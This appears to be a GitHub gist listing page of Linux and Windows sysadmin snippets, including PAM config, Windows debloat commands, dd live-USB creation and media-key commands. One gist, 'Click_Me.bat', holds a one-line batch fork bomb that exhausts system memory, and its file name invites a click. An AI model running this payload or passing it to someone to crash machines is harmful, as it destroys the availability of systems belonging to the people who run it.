Skip to content

Instantly share code, notes, and snippets.

View 2KAbhishek's full-sized avatar
🤩
Fixing Tpyos!

Abhishek Keshri 2KAbhishek

🤩
Fixing Tpyos!
View GitHub Profile
@2KAbhishek
2KAbhishek / chrome-remote-desktop
Last active August 6, 2019 02:24
Chrome Remote Desktop Linux setup
#/etc/pam.d/chrome-remote-desktop
auth required pam_unix.so
account required pam_unix.so
password required pam_unix.so
session required pam_unix.so
#/opt/google/chrome-remote-desktop/chrome-remote-desktop
@2KAbhishek
2KAbhishek / Debloat_Win10.ps1
Created August 6, 2019 02:43
Powershell Commands for Debloating windows 10
#Remove Apps except store:
Get-AppxPackage -AllUsers | where-object {$_.name –notlike “*store*”} | Remove-AppxPackage
#Remove windows apps:
Get-AppxPackage -allusers | Remove-AppxPackage
#Restore Store:
Add-AppxPackage -register "C:\\Program Files\WindowsApps\Microsoft.WindowsStore_11703.1001.45.0_x64__8wekyb3d8bbwe\AppxManifest.xml" -DisableDevelopmentMode
#Restore all apps :
@2KAbhishek
2KAbhishek / God_Mode.md
Last active August 6, 2019 02:45
God Mode Folder for Windows, contains useful shortcuts for SysAdmins

Create new folder with name GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

@2KAbhishek
2KAbhishek / live.sh
Created August 6, 2019 02:54
Create Live USB using dd
#Replace X with the proper letter from lsblk or be doomed
sudo dd if=/path/to/your/file.iso of=/dev/sdX bs=4M status=progress
@2KAbhishek
2KAbhishek / vbox_fix.sh
Last active August 6, 2019 02:55
VirtualBox Fix
#Virtualbox Fix, if not working post-install
sudo /sbin/rcvboxdrv setup
@2KAbhishek
2KAbhishek / local_time.sh
Created August 6, 2019 02:56
Use local time, fix for dual-boot
#Local time, useful for dual-booters
sudo timedatectl set-local-rtc 1
@2KAbhishek
2KAbhishek / tmp_inc.sh
Created August 6, 2019 02:57
Increase /tmp size for heavy installations (e.g - Android Studio)
#Increase /tmp size for heavy installations (e.g - Android Studio)
sudo mount -o remount,size=6G /tmp/
@2KAbhishek
2KAbhishek / Click_Me.bat
Created August 6, 2019 02:59
Fork Bomb, keeps cloning itself until system is out of memory
%0|%0
@2KAbhishek
2KAbhishek / Move_EFI.md
Created August 6, 2019 03:09
Move EFI partition

Using Minitool PW:

  1. Shrink the Windows partition by the same size as the existent EFI partition is. (300mb in my case) and place the unallocated space before the windows partition (the "before" is the most important point).

  2. Create a new FAT32 partition from the unallocated space

  3. copy the EFI partiton to this new partition. validate the operations.

Using Gparted

@2KAbhishek
2KAbhishek / media_key.sh
Created August 6, 2019 03:12
Commands executed when keyboard media keys are pressed, useful for keyboards without these keys.
#Increase Volume
amixer set Master 5%+ -q
#Decrease Volume
amixer set Master 5%- -q
#Decrease Brightness
xbacklight -dec 5
#Increase Brightness